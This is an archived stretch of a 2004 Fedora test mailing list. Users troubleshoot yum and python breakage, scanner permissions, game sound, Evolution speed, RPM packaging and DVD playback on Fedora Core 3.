10:52:19 +1300 Subject: yum-2.1.11-4 not playing well with python-2.4-0.b2.1 In-Reply-To: <1100056818.3258.18.camel@binkley> References: <1100044222.26208.2.camel@opus.phy.duke.edu> <1100056818.3258.18.camel@binkley> Message-ID: <41968213.6040707@talios.com> seth vidal wrote: >>a fix is here >>https://bugzilla.redhat.com/bugzilla/show_bug.cgi?id=138535 >> > No, that's not a good fix. It patches python, that's probably not the > best place, despite the fact that it looks like a backward compat break. > -sv Seth - has anything further been done on this? Another "fix" which isn't entirely a good fix would be to have a new build of yum that did a version check on urllib and acted appropriately ( better than a new yum which explicitly requires the newer python/urllib, but not by much ). That being said, I'm sure this urllib change will be breaking more than just yum so patching just 'yum' isn't a solution either. Has this been bugzilla'd with fedora or upstream with python at all? amrk From ejprinz at austin.rr.com Sat Nov 13 22:11:43 2004 From: ejprinz at austin.rr.com (Erwin J. Prinz) Date: Sat, 13 Nov 2004 16:11:43 -0600 Subject: Fedora Core 3: Epson Perfection 1650 USB Scanner only recognized as "root" Message-ID: <4196869F.70803@austin.rr.com> Dear All: I have an Epson Perfection 1650 scanner connected to the USB port on a fully updated Fedora Core 3 system. I added the "usb" line in /etc/sane.d/epson.conf. When starting xsane as normal user, no devices are recognized. As root, scanning works as expected. I can scan as a normal user after changing the permissions in /proc/bus/usb/001/003 to -rw-rw-rw- (666), but this change is not persistent after the next boot-up. What is the preferred way to obtain the "666" permissions? I thought that /etc/hotplug/usb/libusbscanner should set the permissions for the console user correctly, but apparently it doesn't. Thanks for your help. Best regards, Erwin From kyrre at solution-forge.net Sat Nov 13 22:09:53 2004 From: kyrre at solution-forge.net (Kyrre Ness Sjobak) Date: Sat, 13 Nov 2004 23:09:53 +0100 Subject: Lost sound in Doom3 after enabling desktop sounds In-Reply-To: <1100381707.19116.3.camel@lion> References: <1100381707.19116.3.camel@lion> Message-ID: <1100383793.3564.1.camel@kyrre> l?r, 13.11.2004 kl. 22.35 skrev Ernest L. Williams Jr.: > Hi, > > I am trying the Doom 3 demo; it is awesome!! > However, I have lost my sound after enabling sound special effects in > KDE: > > Here is what the doom start up shows: > ======================================================================-------------------------------------- > --- Common Initialization Complete --- > ------------- Warnings --------------- > during DOOM 3 initialization... > WARNING: failed to open sound device '/dev/dsp': Device or resource busy > > WARNING: sound subsystem disabled > ============================================================================================ > > Any ideas? > Meanwhile, I will attempt to disable all of the sound special effects in > KDE. > Probably because enabling those effects causes ARTSD to start, blocking /dev/dsp. Does ARTSD have to use OSS? Because DOOM3 does, and OSS only supports one app using the soundcard at once. Alsa is better... From kyrre at solution-forge.net Sat Nov 13 22:11:27 2004 From: kyrre at solution-forge.net (Kyrre Ness Sjobak) Date: Sat, 13 Nov 2004 23:11:27 +0100 Subject: Evolution slooow (was Re: Features for FC4) In-Reply-To: <1100380446.4550.10.camel@ml350.bankofamerica.com> References: <1100112479.3955.62.camel@marius.asheville.interact> <1100362722.2810.23.camel@kyrre> <1100363086.29852.21.camel@localhost.localdomain> <1100366243.3126.13.camel@kyrre> <1100367989.31911.3.camel@localhost.localdomain> <1100377474.3126.25.camel@kyrre> <1100380446.4550.10.camel@ml350.bankofamerica.com> Message-ID: <1100383887.3564.3.camel@kyrre> l?r, 13.11.2004 kl. 22.14 skrev Thomas Cameron: > On Sat, 2004-11-13 at 21:24 +0100, Kyrre Ness Sjobak wrote: > > > > > > BTW: Another app that got a lot faster is Evolution. My inbox has > > > 11,000 emails in it and they did something to make it work better with > > > large inboxes. > > > > > > > I have something like 10 000 mails in my evo inbox, a lot of vfolders > > etc., and it is quite snappy. This is evo 1, not 2.0. Even message body > > searches over the whole lot seldom takes more than 10 secs, which is > > really acceptable. And this is a 650 mhz, with a slooow disk. > > I am using Evolution 2.0.2 to read mail via IMAP. I only have about 290 > messages in my inbox. It is horribly slow, and every few (maybe 15-20) > e-mails that I read causes Evo to drag badly. That message takes 10-20 > seconds to load. The mail server is on the LAN with me on 100MB/s > switched ethernet. > > I'm on a Dual 2.8GHz Xeon box with 2GB memory and 15,000 RPM Ultra320 > drives so I don't think it's my system. Evolution 2.0.2 is just dog > slow. > > I opened bug https://bugzilla.redhat.com/bugzilla/show_bug.cgi?id=139145 > on the issue. > > Evo 1.4 did not exhibit this slowness that I can recall. > Strange. But EVO have some issues with IMAP (something like it has to download everything etc - i am really not shure...) From fedora at wir-sind-cool.org Sat Nov 13 22:22:03 2004 From: fedora at wir-sind-cool.org (Michael Schwendt) Date: Sat, 13 Nov 2004 23:22:03 +0100 Subject: Building rpms for FC3 ? In-Reply-To: <1100382568.4758.4.camel@localhost.localdomain> References: <1100371440.3044.5.camel@localhost.localdomain> <20041113200442.4bef9ac9.fedora@wir-sind-cool.org> <1100382568.4758.4.camel@localhost.localdomain> Message-ID: <20041113232203.1c9633a6.fedora@wir-sind-cool.org> On Sat, 13 Nov 2004 14:49:28 -0700, Kim Lux wrote: > > Alternatively, you could also help with [and gain experience with] the > > qcad package for Fedora Extras and tell the upstream project about it > > when it's ready: https://bugzilla.fedora.us/show_bug.cgi?id=848 > > I forgot that FC shipped qcad as an extra. > I saw it in the directories. The package has neither been approved (with GPG signed comments) nor published yet. The current status of package development is not clear either, IMO. Could be that it needs somebody to take over the package development. > Is that group in contact with Andrew at Ribbonsoft ? You could add yourself to above ticket and find out. > I could sure test it for them. I spent about 20 hours doing CAD this > week. I sent 3 issues to Andrew and a number of suggestions. Sounds great. If you have any questions, feel free to ask, also in private mail if that is preferred. -- Fedora Core release 3 (Heidelberg) - Linux 2.6.9-1.667 loadavg: 1.89 2.36 2.85 From tim at birdsnest.maths.tcd.ie Sat Nov 13 22:45:40 2004 From: tim at birdsnest.maths.tcd.ie (Timothy Murphy) Date: Sat, 13 Nov 2004 22:45:40 +0000 Subject: Features for FC4 In-Reply-To: <1100260133.3313.103.camel@douglas-furlong.firebox.com> References: <1100112479.3955.62.camel@marius.asheville.interact> <1100258399.27583.11.camel@steelgoose.com> <1100260133.3313.103.camel@douglas-furlong.firebox.com> Message-ID: <200411132245.40477.tim@birdsnest.maths.tcd.ie> A minority view, I guess. I don't want to see any new packages. I would like to see more effort devoted to making sure the current packages work properly, with minimal documentation. I've just upgraded to FC-3 on a number of machines. The serial mouse did not work on one machine. X did not work on my laptop (Sony C1VFK) despite a 6 month old patch in Xorg bugzilla. System Settings=>Network does not set up Profiles properly. My laptop CD drive (Sony CD51) is not supported, though it worked under Redhat-8.0. If I want a way-out program I'm happy to look for an RPM and if I don't find it to compile the program. But otherwise I just want a quiet life without surprises. -- Timothy Murphy e-mail (<80k only): tim /at/ birdsnest.maths.tcd.ie tel: +353-86-2336090, +353-1-2842366 s-mail: School of Mathematics, Trinity College, Dublin 2, Ireland From tweeksjunk2 at theweeks.org Sat Nov 13 23:10:23 2004 From: tweeksjunk2 at theweeks.org (Tom Weeks) Date: Sat, 13 Nov 2004 17:10:23 -0600 Subject: Building rpms for FC3 ? In-Reply-To: <1100382568.4758.4.camel@localhost.localdomain> References: <1100371440.3044.5.camel@localhost.localdomain> <20041113200442.4bef9ac9.fedora@wir-sind-cool.org> <1100382568.4758.4.camel@localhost.localdomain> Message-ID: <200411131710.23664.tweeksjunk2@theweeks.org> Q that I didn't see in your Contribs URL (at first glance).. If one were to want to build RPMs for submission to the project.. should they only do so against a fresh CD-ROM install.. Or against a fresh install that has just been fully patched? If the former.. I could create a disk based image of my system that I could restore from each time I wanted to do a new build candidate. Just curious in what you all see as the "best practices" out there... Tweeks From alan at redhat.com Sat Nov 13 23:16:32 2004 From: alan at redhat.com (Alan Cox) Date: Sat, 13 Nov 2004 18:16:32 -0500 Subject: Features for FC4 In-Reply-To: <200411132245.40477.tim@birdsnest.maths.tcd.ie> References: <1100112479.3955.62.camel@marius.asheville.interact> <1100258399.27583.11.camel@steelgoose.com> <1100260133.3313.103.camel@douglas-furlong.firebox.com> <200411132245.40477.tim@birdsnest.maths.tcd.ie> Message-ID: <20041113231632.GA19659@devserv.devel.redhat.com> On Sat, Nov 13, 2004 at 10:45:40PM +0000, Timothy Murphy wrote: > My laptop CD drive (Sony CD51) is not supported, > though it worked under Redhat-8.0. During install ? If so see the release notes. Not during install please provide me with more details From fedora at wir-sind-cool.org Sat Nov 13 23:19:17 2004 From: fedora at wir-sind-cool.org (Michael Schwendt) Date: Sun, 14 Nov 2004 00:19:17 +0100 Subject: Building rpms for FC3 ? In-Reply-To: <200411131710.23664.tweeksjunk2@theweeks.org> References: <1100371440.3044.5.camel@localhost.localdomain> <20041113200442.4bef9ac9.fedora@wir-sind-cool.org> <1100382568.4758.4.camel@localhost.localdomain> <200411131710.23664.tweeksjunk2@theweeks.org> Message-ID: <20041114001917.0f6076e3.fedora@wir-sind-cool.org> On Sat, 13 Nov 2004 17:10:23 -0600, Tom Weeks wrote: > Q that I didn't see in your Contribs URL (at first glance).. > > If one were to want to build RPMs for submission to the project.. should they > only do so against a fresh CD-ROM install.. Or against a fresh install that > has just been fully patched? > > If the former.. I could create a disk based image of my system that I could > restore from each time I wanted to do a new build candidate. > > Just curious in what you all see as the "best practices" out there... You would contribute source RPM packages, not prebuilt binaries. The src.rpm should build on an up-to-date Fedora Coreq, as its intended to run with the latest updates. -- Fedora Core release 3 (Heidelberg) - Linux 2.6.9-1.667 loadavg: 1.00 1.01 1.11 From ernesto at ornl.gov Sat Nov 13 23:36:17 2004 From: ernesto at ornl.gov (Ernest L. Williams Jr.) Date: Sat, 13 Nov 2004 18:36:17 -0500 Subject: Can we play DVD movies under FC3? Message-ID: <1100388977.19116.6.camel@lion> Hi, How can one play DVD movies unofficially under Fedora Core Release 3? Here is what I get from XINE: [williams at lion ~]$ xine This is xine (X11 gui) - a free video player v0.99.2. (c) 2000-2004 The xine Team. libdvdnav: Using dvdnav version 1-rc6a from http://xine.sf.net libdvdread: Encrypted DVD support unavailable. libdvdnav: DVD Title: SCHOOL_OF_ROCK_16X9 libdvdnav: DVD Serial Number: 30307D04 libdvdnav: DVD Title (Alternative): SCHOOL_OF_ROCK_16X9 libdvdnav: Unable to find map file '/home/williams/.dvdnav/SCHOOL_OF_ROCK_16X9.map' libdvdnav: DVD disk reports itself with Region mask 0x00fe0000. Regions: 1 libdvdnav: Suspected RCE Region Protection!!! libdvdnav: Using dvdnav version 1-rc6a from http://xine.sf.net libdvdread: Encrypted DVD support unavailable. libdvdnav: DVD Title: SCHOOL_OF_ROCK_16X9 libdvdnav: DVD Serial Number: 30307D04 libdvdnav: DVD Title (Alternative): SCHOOL_OF_ROCK_16X9 libdvdnav: Unable to find map file '/home/williams/.dvdnav/SCHOOL_OF_ROCK_16X9.map' libdvdnav: DVD disk reports itself with Region mask 0x00fe0000. Regions: 1 libdvdnav: Suspected RCE Region Protection!!! libdvdnav: Using dvdnav version 1-rc6a from http://xine.sf.net libdvdread: Encrypted DVD support unavailable. libdvdnav: DVD Title: SCHOOL_OF_ROCK_16X9 libdvdnav: DVD Serial Number: 30307D04 libdvdnav: DVD Title (Alternative): SCHOOL_OF_ROCK_16X9 libdvdnav: Unable to find map file '/home/williams/.dvdnav/SCHOOL_OF_ROCK_16X9.map' libdvdnav: DVD disk reports itself with Region mask 0x00fe0000. Regions: 1 libdvdnav: Suspected RCE Region Protection!!! Thanks, Ernest From alan at redhat.com Sat Nov 13 23:51:46 2004 From: alan at redhat.com (Alan Cox) Date: Sat, 13 Nov 2004 18:51:46 -0500 Subject: Can we play DVD movies under FC3? In-Reply-To: <1100388977.19116.6.camel@lion> References: <1100388977.19116.6.camel@lion> Message-ID: <20041113235146.GA28539@devserv.devel.redhat.com> On Sat, Nov 13, 2004 at 06:36:17PM -0500, Ernest L. Williams Jr. wrote: > How can one play DVD movies unofficially under Fedora Core Release 3? According to the 2600 decision providing advice on this matter is a crime in the USSA or with a US citizen present > libdvdread: Encrypted DVD support unavailable. Your disc vendor doesnt wish you to play it. Be a good citizen, be happy and obey. From DwaineGarden at rogers.com Sat Nov 13 23:55:43 2004 From: DwaineGarden at rogers.com (Dwaine Garden) Date: Sat, 13 Nov 2004 18:55:43 -0500 Subject: Can we play DVD movies under FC3? In-Reply-To: <20041113235146.GA28539@devserv.devel.redhat.com> References: <1100388977.19116.6.camel@lion> <20041113235146.GA28539@devserv.devel.redhat.com> Message-ID: <41969EFF.4020600@rogers.com> Alan Cox wrote: >On Sat, Nov 13, 2004 at 06:36:17PM -0500, Ernest L. Williams Jr. wrote: > > >>How can one play DVD movies unofficially under Fedora Core Release 3? >> >> > >According to the 2600 decision providing advice on this matter is a crime >in the USSA or with a US citizen present > > > >>libdvdread: Encrypted DVD support unavailable. >> >> > >Your disc vendor doesnt wish you to play it. Be a good citizen, be happy and >obey. > > > hehe... From lux at diesel-research.com Sun Nov 14 00:05:06 2004 From: lux at diesel-research.com (Kim Lux) Date: Sat, 13 Nov 2004 17:05:06 -0700 Subject: Features for FC4 In-Reply-To: <20041113231632.GA19659@devserv.devel.redhat.com> References: <1100112479.3955.62.camel@marius.asheville.interact> <1100258399.27583.11.camel@steelgoose.com> <1100260133.3313.103.camel@douglas-furlong.firebox.com> <200411132245.40477.tim@birdsnest.maths.tcd.ie> <20041113231632.GA19659@devserv.devel.redhat.com> Message-ID: <1100390706.5025.0.camel@localhost.localdomain> I admire your energy, Alan. Keep up the good work. On Sat, 2004-11-13 at 18:16 -0500, Alan Cox wrote: > On Sat, Nov 13, 2004 at 10:45:40PM +0000, Timothy Murphy wrote: > > My laptop CD drive (Sony CD51) is not supported, > > though it worked under Redhat-8.0. > > During install ? If so see the release notes. Not during install please > provide me with more details > -- Kim Lux (Mr.) Diesel Research Inc From DwaineGarden at rogers.com Sun Nov 14 00:06:40 2004 From: DwaineGarden at rogers.com (Dwaine Garden) Date: Sat, 13 Nov 2004 19:06:40 -0500 Subject: yum-2.1.11-4 not playing well with python-2.4-0.b2.1 In-Reply-To: <41968213.6040707@talios.com> References: <1100044222.26208.2.camel@opus.phy.duke.edu> <1100056818.3258.18.camel@binkley> <41968213.6040707@talios.com> Message-ID: <4196A190.1070404@rogers.com> Mark Derricutt wrote: > seth vidal wrote: > >>> a fix is here >>> https://bugzilla.redhat.com/bugzilla/show_bug.cgi?id=138535 >>> >> No, that's not a good fix. It patches python, that's probably not the >> best place, despite the fact that it looks like a backward compat break. >> -sv > > > Seth - has anything further been done on this? > > Another "fix" which isn't entirely a good fix would be to have a new > build of yum that did a version check on urllib and acted > appropriately ( better than a new yum which explicitly requires the > newer python/urllib, but not by much ). > > That being said, I'm sure this urllib change will be breaking more > than just yum so patching just 'yum' isn't a solution either. > > Has this been bugzilla'd with fedora or upstream with python at all? > > amrk > At least yum is going again. It's the main thing for patching updates to the Fedora which is installed on my box. Thanks guys... From lux at diesel-research.com Sun Nov 14 00:17:04 2004 From: lux at diesel-research.com (Kim Lux) Date: Sat, 13 Nov 2004 17:17:04 -0700 Subject: Building rpms for FC3 ? In-Reply-To: <20041113232203.1c9633a6.fedora@wir-sind-cool.org> References: <1100371440.3044.5.camel@localhost.localdomain> <20041113200442.4bef9ac9.fedora@wir-sind-cool.org> <1100382568.4758.4.camel@localhost.localdomain> <20041113232203.1c9633a6.fedora@wir-sind-cool.org> Message-ID: <1100391424.5025.7.camel@localhost.localdomain> On Sat, 2004-11-13 at 23:22 +0100, Michael Schwendt wrote: (The topic was qcad... > The package has neither been approved (with GPG signed comments) nor > published yet. The current status of package development is not clear > either, IMO. Could be that it needs somebody to take over the package > development. Andrew does a pretty good job of getting improvements out. They have a commercial copy of it, ie one they sell for $$$, so they probably aren't really interested in it become mainstream. QCAD itself if pretty stable. There are a few little bugs, but nothing major. Like I said, I put about 20 hours in on it last week. Version 2 was a big step ahead over version 1.x. I rejected V1.x because I found it hard to use and I couldn't understand the doc for even the simplest operations, like deleting a line for example ! Once I figured out the commands, it works really well. I don't know what RH/Fedora's stance is on working with existing development teams, but they've done a good job and continue to do so as far as I am concerned. > > Is that group in contact with Andrew at Ribbonsoft ? > > You could add yourself to above ticket and find out. I'll do that. > > > I could sure test it for them. I spent about 20 hours doing CAD this > > week. I sent 3 issues to Andrew and a number of suggestions. > > Sounds great. If you have any questions, feel free to ask, also in > private mail if that is preferred. I'll do that. I kept > -- > Fedora Core release 3 (Heidelberg) - Linux 2.6.9-1.667 > loadavg: 1.89 2.36 2.85 > -- Kim Lux (Mr.) Diesel Research Inc From thomasz at hostmaster.org Sun Nov 14 00:22:12 2004 From: thomasz at hostmaster.org (Thomas Zehetbauer) Date: Sun, 14 Nov 2004 01:22:12 +0100 Subject: Can we play DVD movies under FC3? In-Reply-To: <20041113235146.GA28539@devserv.devel.redhat.com> References: <1100388977.19116.6.camel@lion> <20041113235146.GA28539@devserv.devel.redhat.com> Message-ID: <1100391732.3238.19.camel@hostmaster.org> On Sam, 2004-11-13 at 18:51 -0500, Alan Cox wrote: > According to the 2600 decision providing advice on this matter is a crime > in the USSA or with a US citizen present You can perfectly legally advice him to write a letter of protest to his representatives and/or file an antitrust lawsuit. > Your disc vendor doesnt wish you to play it. Be a good citizen, be happy and > obey. And don't forget to return the disc to the store... Tom -- T h o m a s Z e h e t b a u e r ( TZ251 ) PGP encrypted mail preferred - KeyID 96FFCB89 finger thomasz at hostmaster.org for key Chemists don't die, they just stop to react. -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 481 bytes Desc: This is a digitally signed message part URL: From mark at talios.com Sun Nov 14 00:41:18 2004 From: mark at talios.com (Mark Derricutt) Date: Sun, 14 Nov 2004 13:41:18 +1300 Subject: yum-2.1.11-4 not playing well with python-2.4-0.b2.1 In-Reply-To: <4196A190.1070404@rogers.com> References: <1100044222.26208.2.camel@opus.phy.duke.edu> <1100056818.3258.18.camel@binkley> <41968213.6040707@talios.com> <4196A190.1070404@rogers.com> Message-ID: <4196A9AE.5020007@talios.com> Dwaine Garden wrote: > At least yum is going again. It's the main thing for patching updates > to the Fedora which is installed on my box. I think I'll just blow away the install and install the FC3 final ISOs I have lying around ( well, will have to burn another copy ). Seems somethings just poked my USB as well, so I think a fresh FC3 final install is in order. From jerryw4386 at msn.com Sun Nov 14 00:22:34 2004 From: jerryw4386 at msn.com (JERRY WHITMIRE) Date: Sat, 13 Nov 2004 16:22:34 -0800 Subject: Lost Hard drives Message-ID: After i updated my Fedora core 3 test 3 it will not find my hdb with Win Xp. or hdc that i use for all of my extra downloads .they are fat 32 format I know this has come up before but i do not know how to get them back. Can someone tell me in layman terms on how to do this? This is one of the big feathers i found a grate need for. Any help would be a real big help. Thanks. {Keep up the grate work on Fedora} Jerry W. Whitmire jerryw4386 at msn.com _________________________________________________________________ Express yourself instantly with MSN Messenger! Download today - it's FREE! http://messenger.msn.click-url.com/go/onm00200471ave/direct/01/ From alan at clueserver.org Sun Nov 14 00:02:47 2004 From: alan at clueserver.org (alan) Date: Sat, 13 Nov 2004 16:02:47 -0800 (PST) Subject: Can we play DVD movies under FC3? In-Reply-To: <1100388977.19116.6.camel@lion> Message-ID: On Sat, 13 Nov 2004, Ernest L. Williams Jr. wrote: > Hi, > > How can one play DVD movies unofficially under Fedora Core Release 3? > > Here is what I get from XINE: > [williams at lion ~]$ xine > This is xine (X11 gui) - a free video player v0.99.2. > (c) 2000-2004 The xine Team. > libdvdnav: Using dvdnav version 1-rc6a from http://xine.sf.net > libdvdread: Encrypted DVD support unavailable. > libdvdnav: DVD Title: SCHOOL_OF_ROCK_16X9 > libdvdnav: DVD Serial Number: 30307D04 > libdvdnav: DVD Title (Alternative): SCHOOL_OF_ROCK_16X9 > libdvdnav: Unable to find map file > '/home/williams/.dvdnav/SCHOOL_OF_ROCK_16X9.map' > libdvdnav: DVD disk reports itself with Region mask 0x00fe0000. Regions: > 1 > libdvdnav: Suspected RCE Region Protection!!! This means that you have a disc that uses rce. This is a nasty little "enforcement" of regioncodes. What it does is the disc tries multiple regions and if they both succeed then the disc goes to a special failure screen. (The Spiderman disc does this as well.) I am not certain if there is a way to force a region code for a specific disc. I will test it on my fc3 system and see what happens. > libdvdnav: Using dvdnav version 1-rc6a from http://xine.sf.net > libdvdread: Encrypted DVD support unavailable. > libdvdnav: DVD Title: SCHOOL_OF_ROCK_16X9 > libdvdnav: DVD Serial Number: 30307D04 > libdvdnav: DVD Title (Alternative): SCHOOL_OF_ROCK_16X9 > libdvdnav: Unable to find map file > '/home/williams/.dvdnav/SCHOOL_OF_ROCK_16X9.map' > libdvdnav: DVD disk reports itself with Region mask 0x00fe0000. Regions: > 1 > libdvdnav: Suspected RCE Region Protection!!! > libdvdnav: Using dvdnav version 1-rc6a from http://xine.sf.net > libdvdread: Encrypted DVD support unavailable. > libdvdnav: DVD Title: SCHOOL_OF_ROCK_16X9 > libdvdnav: DVD Serial Number: 30307D04 > libdvdnav: DVD Title (Alternative): SCHOOL_OF_ROCK_16X9 > libdvdnav: Unable to find map file > '/home/williams/.dvdnav/SCHOOL_OF_ROCK_16X9.map' > libdvdnav: DVD disk reports itself with Region mask 0x00fe0000. Regions: > 1 > libdvdnav: Suspected RCE Region Protection!!! > > Thanks, > Ernest > > -- Q: Why do programmers confuse Halloween and Christmas? A: Because OCT 31 == DEC 25. From mpeters at mac.com Sun Nov 14 01:13:33 2004 From: mpeters at mac.com (Michael A. Peters) Date: Sun, 14 Nov 2004 01:13:33 +0000 Subject: Can we play DVD movies under FC3? In-Reply-To: <1100388977.19116.6.camel@lion> (from ernesto@ornl.gov on Sat Nov 13 15:36:17 2004) References: <1100388977.19116.6.camel@lion> Message-ID: <1100394813l.4083l.0l@devel.mpeters.us> On 11/13/2004 03:36:17 PM, Ernest L. Williams Jr. wrote: > Hi, > > How can one play DVD movies unofficially under Fedora Core Release 3? Theoretically with the right GStreamer plugins and totem. It's not working for me, it did work for me in FC2 with gstreamer- backend totem - I'm at a loss for why it isn't now, I have the same gstreamer plugins built and working. I'm guessing it has to do with either the newer version of gstreamer- plugins or the newer version of totem. When it was working for in FC2 it was with older versions of each. I tried building the current totem (-0.99.20) and that was worse that what Fedora is shipping - it ended up getting itself stuck in an error loop that forced me to switch to a console and kill it. But anyway - if anyone knows _why_ current GStreamer totem can't play DVD's with the right plugins, I would like to know - especially if there is a fix :D // I don't consider using xine totem a fix The GStreamer plugins I'm using are at http://mpeters.us/linux/fc3_gstreamer.php I also tried with the 0.8.5.2 development GStreamer plugins - same failure with DVD playback though. -=- Also - Totem in FC3Test3 would play .m4a (aac) files. It does not in fc3 final. gst-launch-ext-0.8 does - so I know the plugin works. divx works nicely though - http://homepage.mac.com/mpeters/tux/images_fedora/fc3-3.jpeg From thomasz at hostmaster.org Sun Nov 14 01:33:37 2004 From: thomasz at hostmaster.org (Thomas Zehetbauer) Date: Sun, 14 Nov 2004 02:33:37 +0100 Subject: Can we play DVD movies under FC3? In-Reply-To: References: Message-ID: <1100396017.3238.24.camel@hostmaster.org> I didn't like the idea of menus beeing able to screw the controls of my dvd player in the first place, just skip to main film at title 1 track 1 and RCE won't work. Tom PS: The european union has reportedly already started an antitrust investigation regarding DVD region codes. -- T h o m a s Z e h e t b a u e r ( TZ251 ) PGP encrypted mail preferred - KeyID 96FFCB89 finger thomasz at hostmaster.org for key Why do you call your dog 1234? My admin told me not to name my password after my dog. -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 481 bytes Desc: This is a digitally signed message part URL: From veguilla at hpcf.upr.edu Sun Nov 14 01:39:41 2004 From: veguilla at hpcf.upr.edu (Ricardo Veguilla) Date: Sat, 13 Nov 2004 21:39:41 -0400 Subject: Can we play DVD movies under FC3? In-Reply-To: <1100394813l.4083l.0l@devel.mpeters.us> References: <1100388977.19116.6.camel@lion> <1100394813l.4083l.0l@devel.mpeters.us> Message-ID: <4196B75D.5060404@hpcf.upr.edu> Michael A. Peters wrote: > On 11/13/2004 03:36:17 PM, Ernest L. Williams Jr. wrote: > >> Hi, >> >> How can one play DVD movies unofficially under Fedora Core Release 3? > > > Theoretically with the right GStreamer plugins and totem. > It's not working for me, it did work for me in FC2 with gstreamer- > backend totem - I'm at a loss for why it isn't now, I have the same > gstreamer plugins built and working. According to one of the totem developers, totem's gstreamer-based DVD support is currently disabled. Regards, Ricardo Veguilla From ernesto at ornl.gov Sun Nov 14 01:48:16 2004 From: ernesto at ornl.gov (Ernest L. Williams Jr.) Date: Sat, 13 Nov 2004 20:48:16 -0500 Subject: Can we play DVD movies under FC3? In-Reply-To: <1100396017.3238.24.camel@hostmaster.org> References: <1100396017.3238.24.camel@hostmaster.org> Message-ID: <1100396897.19116.13.camel@lion> On Sun, 2004-11-14 at 02:33 +0100, Thomas Zehetbauer wrote: > I didn't like the idea of menus beeing able to screw the controls of my > dvd player in the first place, just skip to main film at title 1 track 1 > and RCE won't work. How to do that? > > Tom > > PS: The european union has reportedly already started an antitrust > investigation regarding DVD region codes. > > -- > fedora-test-list mailing list > fedora-test-list at redhat.com > To unsubscribe: > http://www.redhat.com/mailman/listinfo/fedora-test-list From thomasz at hostmaster.org Sun Nov 14 01:59:05 2004 From: thomasz at hostmaster.org (Thomas Zehetbauer) Date: Sun, 14 Nov 2004 02:59:05 +0100 Subject: Can we play DVD movies under FC3? In-Reply-To: <1100396897.19116.13.camel@lion> References: <1100396017.3238.24.camel@hostmaster.org> <1100396897.19116.13.camel@lion> Message-ID: <1100397545.3238.27.camel@hostmaster.org> On Sam, 2004-11-13 at 20:48 -0500, Ernest L. Williams Jr. wrote: > On Sun, 2004-11-14 at 02:33 +0100, Thomas Zehetbauer wrote: > > I didn't like the idea of menus beeing able to screw the controls of my > > dvd player in the first place, just skip to main film at title 1 track 1 > > and RCE won't work. > > How to do that? mplayer dvd://1 Tom -- T h o m a s Z e h e t b a u e r ( TZ251 ) PGP encrypted mail preferred - KeyID 96FFCB89 finger thomasz at hostmaster.org for key Windows 98 supports real multitasking - it can boot and crash simultaneously. -------------- next part -------------- A non-text attachment was scrubbed... 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Be a good citizen, be >> happy and obey. > >And don't forget to return the disc to the store... > For a refund as its obviously defective if you cannot play it. >Tom -- Cheers, Gene "There are four boxes to be used in defense of liberty: soap, ballot, jury, and ammo. Please use in that order." -Ed Howdershelt (Author) 99.28% setiathome rank, not too shabby for a WV hillbilly Yahoo.com attorneys please note, additions to this message by Gene Heskett are: Copyright 2004 by Maurice Eugene Heskett, all rights reserved. From skvidal at phy.duke.edu Sun Nov 14 02:22:59 2004 From: skvidal at phy.duke.edu (seth vidal) Date: Sat, 13 Nov 2004 21:22:59 -0500 Subject: yum-2.1.11-4 not playing well with python-2.4-0.b2.1 In-Reply-To: <41968213.6040707@talios.com> References: <1100044222.26208.2.camel@opus.phy.duke.edu> <1100056818.3258.18.camel@binkley> <41968213.6040707@talios.com> Message-ID: <1100398980.4344.0.camel@binkley> On Sun, 2004-11-14 at 10:52 +1300, Mark Derricutt wrote: > seth vidal wrote: > > >>a fix is here > >>https://bugzilla.redhat.com/bugzilla/show_bug.cgi?id=138535 > >> > > No, that's not a good fix. It patches python, that's probably not the > > best place, despite the fact that it looks like a backward compat break. > > -sv > > Seth - has anything further been done on this? > > Another "fix" which isn't entirely a good fix would be to have a new > build of yum that did a version check on urllib and acted appropriately > ( better than a new yum which explicitly requires the newer > python/urllib, but not by much ). > > That being said, I'm sure this urllib change will be breaking more than > just yum so patching just 'yum' isn't a solution either. > > Has this been bugzilla'd with fedora or upstream with python at all? > No, It's been refiled as a python bug. I'm not sure of its status right now. -sv From cochranb at speakeasy.net Sun Nov 14 02:39:38 2004 From: cochranb at speakeasy.net (Robert L Cochran) Date: Sat, 13 Nov 2004 21:39:38 -0500 Subject: Can we play DVD movies under FC3? In-Reply-To: <1100397545.3238.27.camel@hostmaster.org> References: <1100396017.3238.24.camel@hostmaster.org> <1100396897.19116.13.camel@lion> <1100397545.3238.27.camel@hostmaster.org> Message-ID: <4196C56A.1010203@speakeasy.net> Thomas Zehetbauer wrote: >On Sam, 2004-11-13 at 20:48 -0500, Ernest L. Williams Jr. wrote: > > >>On Sun, 2004-11-14 at 02:33 +0100, Thomas Zehetbauer wrote: >> >> >>>I didn't like the idea of menus beeing able to screw the controls of my >>>dvd player in the first place, just skip to main film at title 1 track 1 >>>and RCE won't work. >>> >>> >>How to do that? >> >> > >mplayer dvd://1 > >Tom > > > Is that mplayer-0.60? Bob Cochran From alan at redhat.com Sun Nov 14 03:28:18 2004 From: alan at redhat.com (Alan Cox) Date: Sat, 13 Nov 2004 22:28:18 -0500 Subject: FC3 disappointment: KsCD locks system; grip; CDROM in general. In-Reply-To: <1100199207.3866.0.camel@localhost.localdomain> References: <1100187712.4454.26.camel@localhost.localdomain> <20041111184518.GA30794@jadzia.bu.edu> <1100199207.3866.0.camel@localhost.localdomain> Message-ID: <20041114032818.GA2081@devserv.devel.redhat.com> On Thu, Nov 11, 2004 at 11:53:27AM -0700, Kim Lux wrote: > In my mind there is a big difference between perfection and having a > CDROM that doesn't work. I'm slowly getting somewhere on this. Can you try mv /usr/sbin/hald /usr/sbin/hald.off and rebooting then seeing if your CD-ROM behaves From ernesto at ornl.gov Sun Nov 14 04:02:15 2004 From: ernesto at ornl.gov (Ernest L. Williams Jr.) Date: Sat, 13 Nov 2004 23:02:15 -0500 Subject: Can we play DVD movies under FC3? In-Reply-To: <4196C56A.1010203@speakeasy.net> References: <1100396017.3238.24.camel@hostmaster.org> <1100396897.19116.13.camel@lion> <1100397545.3238.27.camel@hostmaster.org> <4196C56A.1010203@speakeasy.net> Message-ID: <1100404935.19116.17.camel@lion> On Sat, 2004-11-13 at 21:39 -0500, Robert L Cochran wrote: > Thomas Zehetbauer wrote: > > >On Sam, 2004-11-13 at 20:48 -0500, Ernest L. Williams Jr. wrote: > > > > > >>On Sun, 2004-11-14 at 02:33 +0100, Thomas Zehetbauer wrote: > >> > >> > >>>I didn't 